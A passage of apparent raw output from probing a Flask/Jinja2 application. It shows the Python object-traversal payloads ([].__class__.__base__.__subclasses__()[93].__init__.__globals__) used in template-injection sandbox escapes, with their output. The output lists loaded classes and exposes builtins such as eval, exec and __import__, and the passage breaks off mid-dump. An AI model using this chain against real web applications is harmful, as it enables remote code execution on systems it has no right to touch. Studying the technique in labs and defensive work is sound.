'_io.IncrementalNewlineDecoder'&amp;gt;, &amp;lt;class 'posix.ScandirIterator'&amp;gt;, &amp;lt;class 'posix.DirEntry'&amp;gt;, &amp;lt;class 'zipimport.zipimporter'&amp;gt;, &amp;lt;class 'codecs.Codec'&amp;gt;, &amp;lt;class 'codecs.IncrementalEncoder'&amp;gt;, &amp;lt;class 'codecs.IncrementalDecoder'&amp;gt;, &amp;lt;class 'codecs.StreamReaderWriter'&amp;gt;, &amp;lt;class 'codecs.StreamRecoder'&amp;gt;, &amp;lt;class '_weakrefset._IterationGuard'&amp;gt;, &amp;lt;class '_weakrefset.WeakSet'&amp;gt;, &amp;lt;class 'abc.ABC'&amp;gt;, &amp;lt;class 'collections.abc.Hashable'&amp;gt;, &amp;lt;class 'collections.abc.Awaitable'&amp;gt;, &amp;lt;class 'collections.abc.AsyncIterable'&amp;gt;, &amp;lt;class 'async_generator'&amp;gt;, &amp;lt;class 'collections.abc.Iterable'&amp;gt;, &amp;lt;class 'bytes_iterator'&amp;gt;, &amp;lt;class 'bytearray_iterator'&amp;gt;, &amp;lt;class 'dict_keyiterator'&amp;gt;, &amp;lt;class 'dict_valueiterator'&amp;gt;, &amp;lt;class 'dict_itemiterator'&amp;gt;, &amp;lt;class 'list_iterator'&amp;gt;, &amp;lt;class 'list_reverseiterator'&amp;gt;, &amp;lt;class 'range_iterator'&amp;gt;, &amp;lt;class 'set_iterator'&amp;gt;, &amp;lt;class 'str_iterator'&amp;gt;, &amp;lt;class 'tuple_iterator'&amp;gt;, &amp;lt;class 'collections.abc.Sized'&amp;gt;, &amp;lt;class 'collections.abc.Container'&amp;gt;, &amp;lt;class 'collections.abc.Callable'&amp;gt;, &amp;lt;class 'os._wrap_close'&amp;gt;, &amp;lt;class '_sitebuiltins.Quitter'&amp;gt;, &amp;lt;class '_sitebuiltins._Printer'&amp;gt;, &amp;lt;class '_sitebuiltins._Helper'&amp;gt;, &amp;lt;class 'types.DynamicClassAttribute'&amp;gt;, &amp;lt;class 'functools.partial'&amp;gt;, &amp;lt;class 'functools._lru_cache_wrapper'&amp;gt;, &amp;lt;class 'operator.itemgetter'&amp;gt;, &amp;lt;class 'operator.attrgetter'&amp;gt;, &amp;lt;class 'operator.methodcaller'&amp;gt;, &amp;lt;class 'itertools.accumulate'&amp;gt;, &amp;lt;class 'itertools.combinations'&amp;gt;, &amp;lt;class 'itertools.combinations_with_replacement'&amp;gt;, &amp;lt;class 'itertools.cycle'&amp;gt;, &amp;lt;class 'itertools.dropwhile'&amp;gt;, &amp;lt;class 'itertools.takewhile'&amp;gt;, &amp;lt;class 'itertools.islice'&amp;gt;, &amp;lt;class 'itertools.starmap'&amp;gt;, &amp;lt;class 'itertools.chain'&amp;gt;, &amp;lt;class 'itertools.compress'&amp;gt;, &amp;lt;class 'itertools.filterfalse'&amp;gt;, &amp;lt;class 'itertools.count'&amp;gt;, &amp;lt;class 'itertools.zip_longest'&amp;gt;, &amp;lt;class 'itertools.permutations'&amp;gt;, &amp;lt;class 'itertools.product'&amp;gt;, &amp;lt;class 'itertools.repeat'&amp;gt;, &amp;lt;class 'itertools.groupby'&amp;gt;, &amp;lt;class 'itertools._grouper'&amp;gt;, &amp;lt;class 'itertools._tee'&amp;gt;, &amp;lt;class 'itertools._tee_dataobject'&amp;gt;, &amp;lt;class 'reprlib.Repr'&amp;gt;, &amp;lt;class 'collections.deque'&amp;gt;, &amp;lt;class '_collections._deque_iterator'&amp;gt;, &amp;lt;class '_collections._deque_reverse_iterator'&amp;gt;, &amp;lt;class 'collections._Link'&amp;gt;, &amp;lt;class 'weakref.finalize._Info'&amp;gt;, &amp;lt;class 'weakref.finalize'&amp;gt;, &amp;lt;class 'functools.partialmethod'&amp;gt;, &amp;lt;class 'types._GeneratorWrapper'&amp;gt;, &amp;lt;class 'enum.auto'&amp;gt;, &amp;lt;enum 'Enum'&amp;gt;, &amp;lt;class '_sre.SRE_Pattern'&amp;gt;, &amp;lt;class '_sre.SRE_Match'&amp;gt;, &amp;lt;class '_sre.SRE_Scanner'&amp;gt;, &amp;lt;class 'sre_parse.Pattern'&amp;gt;, &amp;lt;class 'sre_parse.SubPattern'&amp;gt;, &amp;lt;class 'sre_parse.Tokenizer'&amp;gt;, &amp;lt;class 're.Scanner'&amp;gt;, &amp;lt;class 'select.poll'&amp;gt;, &amp;lt;class 'select.epoll'&amp;gt;, &amp;lt;class 'selectors.BaseSelector'&amp;gt;, &amp;lt;class '_socket.socket'&amp;gt;, &amp;lt;class 'tokenize.Untokenizer'&amp;gt;, &amp;lt;class 'traceback.FrameSummary'&amp;gt;, &amp;lt;class 'traceback.TracebackException'&amp;gt;, &amp;lt;class 'threading._RLock'&amp;gt;, &amp;lt;class 'threading.Condition'&amp;gt;, &amp;lt;class 'threading.Semaphore'&amp;gt;, &amp;lt;class 'threading.Event'&amp;gt;, &amp;lt;class 'threading.Barrier'&amp;gt;, &amp;lt;class 'threading.Thread'&amp;gt;, &amp;lt;class 'warnings.WarningMessage'&amp;gt;, &amp;lt;class 'warnings.catch_warnings'&amp;gt;, &amp;lt;class 'subprocess.CompletedProcess'&amp;gt;, &amp;lt;class 'subprocess.Popen'&amp;gt;, &amp;lt;class 'urllib.parse._ResultMixinStr'&amp;gt;, &amp;lt;class 'urllib.parse._ResultMixinBytes'&amp;gt;, &amp;lt;class 'urllib.parse._NetlocResultMixinBase'&amp;gt;, &amp;lt;class 'queue.Queue'&amp;gt;, &amp;lt;class 'string.Template'&amp;gt;, &amp;lt;class 'string.Formatter'&amp;gt;, &amp;lt;class 'Struct'&amp;gt;, &amp;lt;class 'email.charset.Charset'&amp;gt;, &amp;lt;class 'email.header.Header'&amp;gt;, &amp;lt;class 'email.header._ValueFormatter'&amp;gt;, &amp;lt;class '_hashlib.HASH'&amp;gt;, &amp;lt;class '_blake2.blake2b'&amp;gt;, &amp;lt;class '_blake2.blake2s'&amp;gt;, &amp;lt;class '_sha3.sha3_224'&amp;gt;, &amp;lt;class '_sha3.sha3_256'&amp;gt;, &amp;lt;class '_sha3.sha3_384'&amp;gt;, &amp;lt;class '_sha3.sha3_512'&amp;gt;, &amp;lt;class '_sha3.shake_128'&amp;gt;, &amp;lt;class '_sha3.shake_256'&amp;gt;, &amp;lt;class '_random.Random'&amp;gt;, &amp;lt;class 'datetime.date'&amp;gt;, &amp;lt;class 'datetime.timedelta'&amp;gt;, &amp;lt;class 'datetime.time'&amp;gt;, &amp;lt;class 'datetime.tzinfo'&amp;gt;, &amp;lt;class 'calendar._localized_month'&amp;gt;, &amp;lt;class 'calendar._localized_day'&amp;gt;, &amp;lt;class 'calendar.Calendar'&amp;gt;, &amp;lt;class 'calendar.different_locale'&amp;gt;, &amp;lt;class 'email._parseaddr.AddrlistClass'&amp;gt;, &amp;lt;class 'email._policybase._PolicyBase'&amp;gt;, &amp;lt;class 'email.feedparser.BufferedSubFile'&amp;gt;, &amp;lt;class 'email.feedparser.FeedParser'&amp;gt;, &amp;lt;class 'email.parser.Parser'&amp;gt;, &amp;lt;class 'email.parser.BytesParser'&amp;gt;, &amp;lt;class 'email.message.Message'&amp;gt;, &amp;lt;class 'http.client.HTTPConnection'&amp;gt;, &amp;lt;class 'ipaddress._IPAddressBase'&amp;gt;, &amp;lt;class 'ipaddress._BaseV4'&amp;gt;, &amp;lt;class 'ipaddress._IPv4Constants'&amp;gt;, &amp;lt;class 'ipaddress._BaseV6'&amp;gt;, &amp;lt;class 'ipaddress._IPv6Constants'&amp;gt;, &amp;lt;class 'textwrap.TextWrapper'&amp;gt;, &amp;lt;class '_ssl._SSLContext'&amp;gt;, &amp;lt;class '_ssl._SSLSocket'&amp;gt;, &amp;lt;class '_ssl.MemoryBIO'&amp;gt;, &amp;lt;class '_ssl.Session'&amp;gt;, &amp;lt;class 'ssl.SSLObject'&amp;gt;, &amp;lt;class 'logging.LogRecord'&amp;gt;, &amp;lt;class 'logging.PercentStyle'&amp;gt;, &amp;lt;class 'logging.Formatter'&amp;gt;, &amp;lt;class 'logging.BufferingFormatter'&amp;gt;, &amp;lt;class 'logging.Filter'&amp;gt;, &amp;lt;class 'logging.Filterer'&amp;gt;, &amp;lt;class 'logging.PlaceHolder'&amp;gt;, &amp;lt;class 'logging.Manager'&amp;gt;, &amp;lt;class 'logging.LoggerAdapter'&amp;gt;, &amp;lt;class 'waitress.utilities.Error'&amp;gt;, &amp;lt;class 'waitress.wasyncore.dispatcher'&amp;gt;, &amp;lt;class 'waitress.wasyncore.file_wrapper'&amp;gt;, &amp;lt;class 'waitress.trigger._triggerbase'&amp;gt;, &amp;lt;class 'gettext.NullTranslations'&amp;gt;, &amp;lt;class 'waitress.adjustments._bool_marker'&amp;gt;, &amp;lt;class 'waitress.adjustments.Adjustments'&amp;gt;, &amp;lt;class 'waitress.buffers.FileBasedBuffer'&amp;gt;, &amp;lt;class 'waitress.buffers.OverflowableBuffer'&amp;gt;, &amp;lt;class 'waitress.receiver.FixedStreamReceiver'&amp;gt;, &amp;lt;class 'waitress.receiver.ChunkedReceiver'&amp;gt;, &amp;lt;class 'waitress.parser.HTTPRequestParser'&amp;gt;, &amp;lt;class 'waitress.task.ThreadedTaskDispatcher'&amp;gt;, &amp;lt;class 'waitress.task.Task'&amp;gt;, &amp;lt;class 'waitress.channel.HTTPChannel'&amp;gt;, &amp;lt;class 'waitress.server.MultiSocketServer'&amp;gt;, &amp;lt;class 'waitress.server.BaseWSGIServer'&amp;gt;, &amp;lt;class '__future__._Feature'&amp;gt;, &amp;lt;class '_ast.AST'&amp;gt;, &amp;lt;class 'sqlite3.Row'&amp;gt;, &amp;lt;class 'sqlite3.Cursor'&amp;gt;, &amp;lt;class 'sqlite3.Connection'&amp;gt;, &amp;lt;class 'sqlite3Node'&amp;gt;, &amp;lt;class 'sqlite3.Cache'&amp;gt;, &amp;lt;class 'sqlite3.Statement'&amp;gt;, &amp;lt;class 'sqlite3.PrepareProtocol'&amp;gt;, &amp;lt;class 'ast.NodeVisitor'&amp;gt;, &amp;lt;class 'dis.Bytecode'&amp;gt;, &amp;lt;class 'inspect.BlockFinder'&amp;gt;, &amp;lt;class 'inspect._void'&amp;gt;, &amp;lt;class 'inspect._empty'&amp;gt;, &amp;lt;class 'inspect.Parameter'&amp;gt;, &amp;lt;class 'inspect.BoundArguments'&amp;gt;, &amp;lt;class 'inspect.Signature'&amp;gt;, &amp;lt;class 'werkzeug._internal._Missing'&amp;gt;, &amp;lt;class 'werkzeug._internal._DictAccessorProperty'&amp;gt;, &amp;lt;class 'mimetypes.MimeTypes'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.ImmutableListMixin'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.ImmutableDictMixin'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.UpdateDictMixin'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.ViewItems'&amp;gt;, &amp;lt;class 'werkzeug.datastructures._omd_bucket'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.Headers'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.ImmutableHeadersMixin'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.IfRange'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.Range'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.ContentRange'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.FileStorage'&amp;gt;, &amp;lt;class 'zlib.Compress'&amp;gt;, &amp;lt;class 'zlib.Decompress'&amp;gt;, &amp;lt;class '_bz2.BZ2Compressor'&amp;gt;, &amp;lt;class '_bz2.BZ2Decompressor'&amp;gt;, &amp;lt;class '_lzma.LZMACompressor'&amp;gt;, &amp;lt;class '_lzma.LZMADecompressor'&amp;gt;, &amp;lt;class 'tempfile._RandomNameSequence'&amp;gt;, &amp;lt;class 'tempfile._TemporaryFileCloser'&amp;gt;, &amp;lt;class 'tempfile._TemporaryFileWrapper'&amp;gt;, &amp;lt;class 'tempfile.SpooledTemporaryFile'&amp;gt;, &amp;lt;class 'tempfile.TemporaryDirectory'&amp;gt;, &amp;lt;class 'contextlib.ContextDecorator'&amp;gt;, &amp;lt;class 'urllib.request.Request'&amp;gt;, &amp;lt;class 'urllib.request.OpenerDirector'&amp;gt;, &amp;lt;class 'urllib.request.BaseHandler'&amp;gt;, &amp;lt;class 'urllib.request.HTTPPasswordMgr'&amp;gt;, &amp;lt;class 'urllib.request.AbstractBasicAuthHandler'&amp;gt;, &amp;lt;class 'urllib.request.AbstractDigestAuthHandler'&amp;gt;, &amp;lt;class 'urllib.request.URLopener'&amp;gt;, &amp;lt;class 'urllib.request.ftpwrapper'&amp;gt;, &amp;lt;class 'werkzeug.urls.Href'&amp;gt;, &amp;lt;class 'importlib.abc.Finder'&amp;gt;, &amp;lt;class 'importlib.abc.Loader'&amp;gt;, &amp;lt;class 'pkgutil.ImpImporter'&amp;gt;, &amp;lt;class 'pkgutil.ImpLoader'&amp;gt;, &amp;lt;class 'werkzeug.utils.HTMLBuilder'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.accept.AcceptMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.auth.AuthorizationMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'&amp;gt;, &amp;lt;class 'werkzeug.wsgi.ClosingIterator'&amp;gt;, &amp;lt;class 'werkzeug.wsgi.FileWrapper'&amp;gt;, &amp;lt;class 'werkzeug.wsgi._RangeWrapper'&amp;gt;, &amp;lt;class 'werkzeug.middleware.dispatcher.DispatcherMiddleware'&amp;gt;, &amp;lt;class 'werkzeug.middleware.http_proxy.ProxyMiddleware'&amp;gt;, &amp;lt;class 'werkzeug.middleware.shared_data.SharedDataMiddleware'&amp;gt;, &amp;lt;class 'werkzeug.formparser.FormDataParser'&amp;gt;, &amp;lt;class 'werkzeug.formparser.MultiPartParser'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.base_request.BaseRequest'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.base_response.BaseResponse'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.etag.ETagRequestMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.etag.ETagResponseMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.user_agent.UserAgentMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.request.StreamOnlyMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.response.ResponseStream'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.response.ResponseStreamMixin'&amp;gt;, &amp;lt;class 'werkzeug.exceptions.Aborter'&amp;gt;, &amp;lt;class '_json.Scanner'&amp;gt;, &amp;lt;class '_json.Encoder'&amp;gt;, &amp;lt;class 'json.decoder.JSONDecoder'&amp;gt;, &amp;lt;class 'json.encoder.JSONEncoder'&amp;gt;, &amp;lt;class 'pickle._Framer'&amp;gt;, &amp;lt;class 'pickle._Unframer'&amp;gt;, &amp;lt;class 'pickle._Pickler'&amp;gt;, &amp;lt;class 'pickle._Unpickler'&amp;gt;, &amp;lt;class '_pickle.Unpickler'&amp;gt;, &amp;lt;class '_pickle.Pickler'&amp;gt;, &amp;lt;class '_pickle.Pdata'&amp;gt;, &amp;lt;class '_pickle.PicklerMemoProxy'&amp;gt;, &amp;lt;class '_pickle.UnpicklerMemoProxy'&amp;gt;, &amp;lt;class 'jinja2.utils.MissingType'&amp;gt;, &amp;lt;class 'jinja2.utils.LRUCache'&amp;gt;, &amp;lt;class 'jinja2.utils.Cycler'&amp;gt;, &amp;lt;class 'jinja2.utils.Joiner'&amp;gt;, &amp;lt;class 'jinja2.utils.Namespace'&amp;gt;, &amp;lt;class 'markupsafe._MarkupEscapeHelper'&amp;gt;, &amp;lt;class 'jinja2.nodes.EvalContext'&amp;gt;, &amp;lt;class 'jinja2.nodes.Node'&amp;gt;, &amp;lt;class 'jinja2.runtime.TemplateReference'&amp;gt;, &amp;lt;class 'jinja2.runtime.Context'&amp;gt;, &amp;lt;class 'jinja2.runtime.BlockReference'&amp;gt;, &amp;lt;class 'jinja2.runtime.LoopContextBase'&amp;gt;, &amp;lt;class 'jinja2.runtime.LoopContextIterator'&amp;gt;, &amp;lt;class 'jinja2.runtime.Macro'&amp;gt;, &amp;lt;class 'jinja2.runtime.Undefined'&amp;gt;, &amp;lt;class 'decimal.Decimal'&amp;gt;, &amp;lt;class 'decimal.Context'&amp;gt;, &amp;lt;class 'decimal.SignalDictMixin'&amp;gt;, &amp;lt;class 'decimal.ContextManager'&amp;gt;, &amp;lt;class 'numbers.Number'&amp;gt;, &amp;lt;class 'jinja2.lexer.Failure'&amp;gt;, &amp;lt;class 'jinja2.lexer.TokenStreamIterator'&amp;gt;, &amp;lt;class 'jinja2.lexer.TokenStream'&amp;gt;, &amp;lt;class 'jinja2.lexer.Lexer'&amp;gt;, &amp;lt;class 'jinja2.parser.Parser'&amp;gt;, &amp;lt;class 'jinja2.visitor.NodeVisitor'&amp;gt;, &amp;lt;class 'jinja2.idtracking.Symbols'&amp;gt;, &amp;lt;class 'jinja2.compiler.MacroRef'&amp;gt;, &amp;lt;class 'jinja2.compiler.Frame'&amp;gt;, &amp;lt;class 'jinja2.environment.Environment'&amp;gt;, &amp;lt;class 'jinja2.environment.Template'&amp;gt;, &amp;lt;class 'jinja2.environment.TemplateModule'&amp;gt;, &amp;lt;class 'jinja2.environment.TemplateExpression'&amp;gt;, &amp;lt;class 'jinja2.environment.TemplateStream'&amp;gt;, &amp;lt;class 'jinja2.loaders.BaseLoader'&amp;gt;, &amp;lt;class 'jinja2.bccache.Bucket'&amp;gt;, &amp;lt;class 'jinja2.bccache.BytecodeCache'&amp;gt;, &amp;lt;class 'concurrent.futures._base._Waiter'&amp;gt;, &amp;lt;class 'concurrent.futures._base._AcquireFutures'&amp;gt;, &amp;lt;class 'concurrent.futures._base.Future'&amp;gt;, &amp;lt;class 'concurrent.futures._base.Executor'&amp;gt;, &amp;lt;class 'multiprocessing.process.BaseProcess'&amp;gt;, &amp;lt;class 'array.array'&amp;gt;, &amp;lt;class 'multiprocessing.reduction._C'&amp;gt;, &amp;lt;class 'multiprocessing.reduction.AbstractReducer'&amp;gt;, &amp;lt;class 'multiprocessing.context.BaseContext'&amp;gt;, &amp;lt;class '_multiprocessing.SemLock'&amp;gt;, &amp;lt;class 'multiprocessing.util.Finalize'&amp;gt;, &amp;lt;class 'multiprocessing.util.ForkAwareThreadLock'&amp;gt;, &amp;lt;class 'multiprocessing.connection._ConnectionBase'&amp;gt;, &amp;lt;class 'multiprocessing.connection.Listener'&amp;gt;, &amp;lt;class 'multiprocessing.connection.SocketListener'&amp;gt;, &amp;lt;class 'multiprocessing.connection.ConnectionWrapper'&amp;gt;, &amp;lt;class 'concurrent.futures.process._ExceptionWithTraceback'&amp;gt;, &amp;lt;class 'concurrent.futures.process._WorkItem'&amp;gt;, &amp;lt;class 'concurrent.futures.process._ResultItem'&amp;gt;, &amp;lt;class 'concurrent.futures.process._CallItem'&amp;gt;, &amp;lt;class 'concurrent.futures.thread._WorkItem'&amp;gt;, &amp;lt;class 'asyncio.events.Handle'&amp;gt;, &amp;lt;class 'asyncio.events.AbstractServer'&amp;gt;, &amp;lt;class 'asyncio.events.AbstractEventLoop'&amp;gt;, &amp;lt;class 'asyncio.events.AbstractEventLoopPolicy'&amp;gt;, &amp;lt;class 'asyncio.coroutines.CoroWrapper'&amp;gt;, &amp;lt;class 'asyncio.futures._TracebackLogger'&amp;gt;, &amp;lt;class 'asyncio.futures.Future'&amp;gt;, &amp;lt;class '_asyncio.Future'&amp;gt;, &amp;lt;class '_asyncio.FutureIter'&amp;gt;, &amp;lt;class 'TaskStepMethWrapper'&amp;gt;, &amp;lt;class 'TaskWakeupMethWrapper'&amp;gt;, &amp;lt;class 'asyncio.locks._ContextManager'&amp;gt;, &amp;lt;class 'asyncio.locks._ContextManagerMixin'&amp;gt;, &amp;lt;class 'asyncio.locks.Event'&amp;gt;, &amp;lt;class 'asyncio.protocols.BaseProtocol'&amp;gt;, &amp;lt;class 'asyncio.queues.Queue'&amp;gt;, &amp;lt;class 'asyncio.streams.StreamWriter'&amp;gt;, &amp;lt;class 'asyncio.streams.StreamReader'&amp;gt;, &amp;lt;class 'asyncio.subprocess.Process'&amp;gt;, &amp;lt;class 'asyncio.transports.BaseTransport'&amp;gt;, &amp;lt;class 'asyncio.sslproto._SSLPipe'&amp;gt;, &amp;lt;class 'asyncio.unix_events.AbstractChildWatcher'&amp;gt;, &amp;lt;class 'jinja2.asyncsupport.AsyncLoopContextIterator'&amp;gt;, &amp;lt;class 'difflib.SequenceMatcher'&amp;gt;, &amp;lt;class 'difflib.Differ'&amp;gt;, &amp;lt;class 'difflib.HtmlDiff'&amp;gt;, &amp;lt;class 'uuid.UUID'&amp;gt;, &amp;lt;class 'CArgObject'&amp;gt;, &amp;lt;class '_ctypes.CThunkObject'&amp;gt;, &amp;lt;class '_ctypes._CData'&amp;gt;, &amp;lt;class '_ctypes.CField'&amp;gt;, &amp;lt;class '_ctypes.DictRemover'&amp;gt;, &amp;lt;class 'ctypes.CDLL'&amp;gt;, &amp;lt;class 'ctypes.LibraryLoader'&amp;gt;, &amp;lt;class 'pprint._safe_key'&amp;gt;, &amp;lt;class 'pprint.PrettyPrinter'&amp;gt;, &amp;lt;class 'werkzeug.routing.RuleFactory'&amp;gt;, &amp;lt;class 'werkzeug.routing.RuleTemplate'&amp;gt;, &amp;lt;class 'werkzeug.routing.Rule.BuilderCompiler'&amp;gt;, &amp;lt;class 'werkzeug.routing.BaseConverter'&amp;gt;, &amp;lt;class 'werkzeug.routing.Map'&amp;gt;, &amp;lt;class 'werkzeug.routing.MapAdapter'&amp;gt;, &amp;lt;class 'click._compat._FixupStream'&amp;gt;, &amp;lt;class 'click._compat._AtomicFile'&amp;gt;, &amp;lt;class 'click.utils.LazyFile'&amp;gt;, &amp;lt;class 'click.utils.KeepOpenFile'&amp;gt;, &amp;lt;class 'click.utils.PacifyFlushWrapper'&amp;gt;, &amp;lt;class 'click.types.ParamType'&amp;gt;, &amp;lt;class 'click.parser.Option'&amp;gt;, &amp;lt;class 'click.parser.Argument'&amp;gt;, &amp;lt;class 'click.parser.ParsingState'&amp;gt;, &amp;lt;class 'click.parser.OptionParser'&amp;gt;, &amp;lt;class 'click.formatting.HelpFormatter'&amp;gt;, &amp;lt;class 'click.core.Context'&amp;gt;, &amp;lt;class 'click.core.BaseCommand'&amp;gt;, &amp;lt;class 'click.core.Parameter'&amp;gt;, &amp;lt;class 'werkzeug.local.Local'&amp;gt;, &amp;lt;class 'werkzeug.local.LocalStack'&amp;gt;, &amp;lt;class 'werkzeug.local.LocalManager'&amp;gt;, &amp;lt;class 'werkzeug.local.LocalProxy'&amp;gt;, &amp;lt;class 'flask.signals.Namespace'&amp;gt;, &amp;lt;class 'flask.signals._FakeSignal'&amp;gt;, &amp;lt;class 'flask.helpers.locked_cached_property'&amp;gt;, &amp;lt;class 'flask.helpers._PackageBoundObject'&amp;gt;, &amp;lt;class 'flask.cli.DispatchingApp'&amp;gt;, &amp;lt;class 'flask.cli.ScriptInfo'&amp;gt;, &amp;lt;class 'itsdangerous._json._CompactJSON'&amp;gt;, &amp;lt;class 'hmac.HMAC'&amp;gt;, &amp;lt;class 'itsdangerous.signer.SigningAlgorithm'&amp;gt;, &amp;lt;class 'itsdangerous.signer.Signer'&amp;gt;, &amp;lt;class 'itsdangerous.serializer.Serializer'&amp;gt;, &amp;lt;class 'itsdangerous.url_safe.URLSafeSerializerMixin'&amp;gt;, &amp;lt;class 'flask.config.ConfigAttribute'&amp;gt;, &amp;lt;class 'flask.ctx._AppCtxGlobals'&amp;gt;, &amp;lt;class 'flask.ctx.AppContext'&amp;gt;, &amp;lt;class 'flask.ctx.RequestContext'&amp;gt;, &amp;lt;class 'flask.json.tag.JSONTag'&amp;gt;, &amp;lt;class 'flask.json.tag.TaggedJSONSerializer'&amp;gt;, &amp;lt;class 'flask.sessions.SessionInterface'&amp;gt;, &amp;lt;class 'flask.wrappers.JSONMixin'&amp;gt;, &amp;lt;class 'flask.blueprints.BlueprintSetupState'&amp;gt;, &amp;lt;class 'jinja2.ext.Extension'&amp;gt;, &amp;lt;class 'jinja2.ext._CommentFinder'&amp;gt;, &amp;lt;class 'unicodedata.UCD'&amp;gt;, &amp;lt;class 'http.cookiejar.Cookie'&amp;gt;, &amp;lt;class 'http.cookiejar.CookiePolicy'&amp;gt;, &amp;lt;class 'http.cookiejar.Absent'&amp;gt;, &amp;lt;class 'http.cookiejar.CookieJar'&amp;gt;, &amp;lt;class 'werkzeug.test._TestCookieHeaders'&amp;gt;, &amp;lt;class 'werkzeug.test._TestCookieResponse'&amp;gt;, &amp;lt;class 'werkzeug.test.EnvironBuilder'&amp;gt;, &amp;lt;class 'werkzeug.test.Client'&amp;gt;, &amp;lt;class 'jinja2.debug.TracebackFrameProxy'&amp;gt;, &amp;lt;class 'jinja2.debug.ProcessedTraceback'&amp;gt;]


[].__class__.__base__.__subclasses__()[93]
&amp;lt;class 'codecs.StreamReaderWriter'&amp;gt;


[].__class__.__base__.__subclasses__()[93].__init__
&amp;lt;function StreamReaderWriter.__init__ at 0x7f55e71db9d8&amp;gt;


[].__class__.__base__.__subclasses__()[93].__init__.__globals__
{'__name__': 'codecs', '__doc__': ' codecs -- Python Codec Registry, API and helpers.\n\n\nWritten by Marc-Andre Lemburg (mal@lemburg.com).\n\n(c) Copyright CNRI, All Rights Reserved. NO WARRANTY.\n\n', '__package__': '', '__loader__': &amp;lt;_frozen_importlib_external.SourceFileLoader object at 0x7f55e7241c50&amp;gt;, '__spec__': ModuleSpec(name='codecs', loader=&amp;lt;_frozen_importlib_external.SourceFileLoader object at 0x7f55e7241c50&amp;gt;, origin='/usr/local/lib/python3.6/codecs.py'), '__file__': '/usr/local/lib/python3.6/codecs.py', '__cached__': '/usr/local/lib/python3.6/__pycache__/codecs.cpython-36.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': &amp;quot;Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.&amp;quot;, '__package__': '', '__loader__': &amp;lt;class '_frozen_importlib.BuiltinImporter'&amp;gt;, '__spec__': ModuleSpec(name='builtins', loader=&amp;lt;class '_frozen_importlib.BuiltinImporter'&amp;gt;), '__build_class__': &amp;lt;built-in function __build_class__&amp;gt;, '__import__': &amp;lt;built-in function __import__&amp;gt;, 'abs': &amp;lt;built-in function abs&amp;gt;, 'all': &amp;lt;built-in function all&amp;gt;, 'any': &amp;lt;built-in function any&amp;gt;, 'ascii': &amp;lt;built-in function ascii&amp;gt;, 'bin': &amp;lt;built-in function bin&amp;gt;, 'callable': &amp;lt;built-in function callable&amp;gt;, 'chr': &amp;lt;built-in function chr&amp;gt;, 'compile': &amp;lt;built-in function compile&amp;gt;, 'delattr': &amp;lt;built-in function delattr&amp;gt;, 'dir': &amp;lt;built-in function dir&amp;gt;, 'divmod': &amp;lt;built-in function divmod&amp;gt;, 'eval': &amp;lt;built-in function eval&amp;gt;, 'exec': &amp;lt;built-in function exec&amp;gt;, 'format': &amp;lt;built-in function format&amp;gt;, 'getattr': &amp;lt;built-in function getattr&amp;gt;, 'globals': &amp;lt;built-in function globals&amp;gt;, 'hasattr': &amp;lt;built-in function hasattr&amp;gt;, 'hash': &amp;lt;built-in function hash&amp;gt;, 'hex': &amp;lt;built-in function hex&amp;gt;, 'id': &amp;lt;built-in function id&amp;gt;, 'input': &amp;lt;built-in function input&amp;gt;, 'isinstance': &amp;lt;built-in function isinstance&amp;gt;, 'issubclass': &amp;lt;built-in function issubclass&amp;gt;, 'iter': &amp;lt;built-in function iter&amp;gt;, 'len': &amp;lt;built-in function len&amp;gt;, 'locals': &amp;lt;built-in function locals&amp;gt;, 'max': &amp;lt;built-in function max&amp;gt;, 'min': &amp;lt;built-in function min&amp;gt;, 'next': &amp;lt;built-in function next&amp;gt;, 'oct': &amp;lt;built-in function oct&amp;gt;, 'ord': &amp;lt;built-in function ord&amp;gt;, 'pow': &amp;lt;built-in function pow&amp;gt;, 'print': &amp;lt;built-in function print&amp;gt;, 'repr': &amp;lt;built-in function repr&amp;gt;, 'round': &amp;lt;built-in function round&amp;gt;, 'setattr': &amp;lt;built-in function setattr&amp;gt;, 'sorted': &amp;lt;built-in function sorted&amp;gt;, 'sum': &amp;lt;built-in function sum&amp;gt;, 'vars': &amp;lt;built-in function vars&amp;gt;, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': &amp;lt;class 'bool'&amp;gt;, 'memoryview': &amp;lt;class 'memoryview'&amp;gt;, 'bytearray': &amp;lt;class 'bytearray'&amp;gt;, 'bytes': &amp;lt;class 'bytes'&amp;gt;, 'classmethod': &amp;lt;class 'classmethod'&amp;gt;, 'complex': &amp;lt;class 'complex'&amp;gt;, 'dict': &amp;lt;class 'dict'&amp;gt;, 'enumerate': &amp;lt;class 'enumerate'&amp;gt;, 'filter': &amp;lt;class 'filter'&amp;gt;, 'float': &amp;lt;class 'float'&amp;gt;, 'frozenset': &amp;lt;class 'frozenset'&amp;gt;, 'property': &amp;lt;class 'property'&amp;gt;, 'int': &amp;lt;class 'int'&amp;gt;, 'list': &amp;lt;class 'list'&amp;gt;, 'map': &amp;lt;class 'map'&amp;gt;, 'object': &amp;lt;class 'object'&amp;gt;, 'range': &amp;lt;class 'range'&amp;gt;, 'reversed': &amp;lt;class 'reversed'&amp;gt;, 'set': 